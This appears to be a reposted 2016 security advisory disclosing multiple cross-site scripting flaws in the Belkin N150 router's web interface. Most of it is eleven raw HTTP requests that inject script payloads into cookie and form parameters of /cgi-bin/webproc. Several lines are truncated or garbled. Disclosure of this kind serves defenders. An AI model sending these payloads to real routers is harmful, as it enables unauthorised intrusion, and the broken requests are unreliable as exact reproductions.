#Product : Belkin N150 Home Router
#Exploit Author : Rahul Pratap Singh
#Home page Link : http://www.belkin.com
#Linkedin : https://in.linkedin.com/in/
#Version : F9K1009 v1
#Firmware : 1.00.09
#Date : 24/Feb/2016
→ Vulnerability/BUG Report :
—————————————-
Description:
—————————————-
Belkin N150 Home router is vulnerable to XSS vulnerability. Numerous
parameters are not sanitized that leads to XSS.
—————————————-
Vulnerable Code:
—————————————-
https://0x62626262.files.
https://0x62626262.files.
https://0x62626262.files.
—————————————-
Exploit and Poc:
—————————————-
1)
GET /cgi-bin/webproc?getpage=html/
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid="></a><img src=x onerror=alert(1)><a; auth=ok;
expires=Sun, 15-May-2102 01:45:46 GMT; language=en_us
Connection: keep-alive
https://0x62626262.files.
2)
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length: 222
getpage=html%2Fpage.html&
/script>&var%3Apage=
errorpage=login&var%3Alogin=
action=login&%3Asessionid=
https://0x62626262.files.
3)
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length: 238
getpage=html/page.html&
scRipt>prompt("xss")< /scRipt>< scRipt>&
var:errorpage=login&var:login=
sessionid=3921960f
https://0x62626262.files.
4)
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length:
245getpage=html/page.html&
"< /scRipt>< scRipt>prompt("xss")< /scRipt><
scRipt>&var:login=true&obj-
sessionid=3921960f
https://0x62626262.files.
5)
GET /cgi-bin/webproc?getpage=< scRipt>prompt("xss")<
/scRipt>&var:getpage=abc&var:
=ut_firmware HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46
GMT; language=en_us; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
https://0x62626262.files.
6)
GET /cgi-bin/webproc?getpage=html/
scRipt>prompt("xss")< /scRipt><
scRipt>&var:page=login&var:
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46
GMT; language=en_us; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
https://0x62626262.files.
7)
GET
/cgi-bin/webproc?getpage=html/
/scRipt>< scRipt>prompt("xss")< /scRipt>< scRipt>& var:errorpage=- HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
var:subpage=-&var:errorpage=-
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46
GMT; language=en_us; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
https://0x62626262.files.
8)
GET /cgi-bin/webproc?getpage=html/
scRipt>prompt("xss")< /scRipt><
scRipt>&var:page=login&var:
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46
GMT; language=en_us; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
https://0x62626262.files.
9)
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length: 262
getpage=html/page.html&
/scRipt>< scRipt>prompt("xss")< /scRipt>< scRipt>&
var:page=abc&var:errorpage=
sessionid=3921960f
https://0x62626262.files.
10)
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=392Multiple XSS Vulnerabilities1960f; auth=ok;
expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length: 262
getpage=html/page.html&
/scRipt>< scRipt>prompt("xss")< /scRipt>< scRipt>&
var:page=abc&var:errorpage=
sessionid=3921960f
https://0x62626262.files.
11)
GET /cgi-bin/webproc?getpage=html/
scRipt>prompt("xss")< /scRipt><
scRipt>&var:page=login&var:
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/
Cookie: sessionid=3921960f; auth=ok; expires=Sun, 15-May-2102 01:45:46
GMT; language=en_us; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
https://0x62626262.files.
Vulnerability Disclosure Timeline:
→ January 30, 2016 – Bug discovered, initial report to Belkin
Security Team
→ February 24, 2016 – No response from vendor
→ February 24, 2016 – Full Disclosure
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
Komentarų nėra:
Rašyti komentarą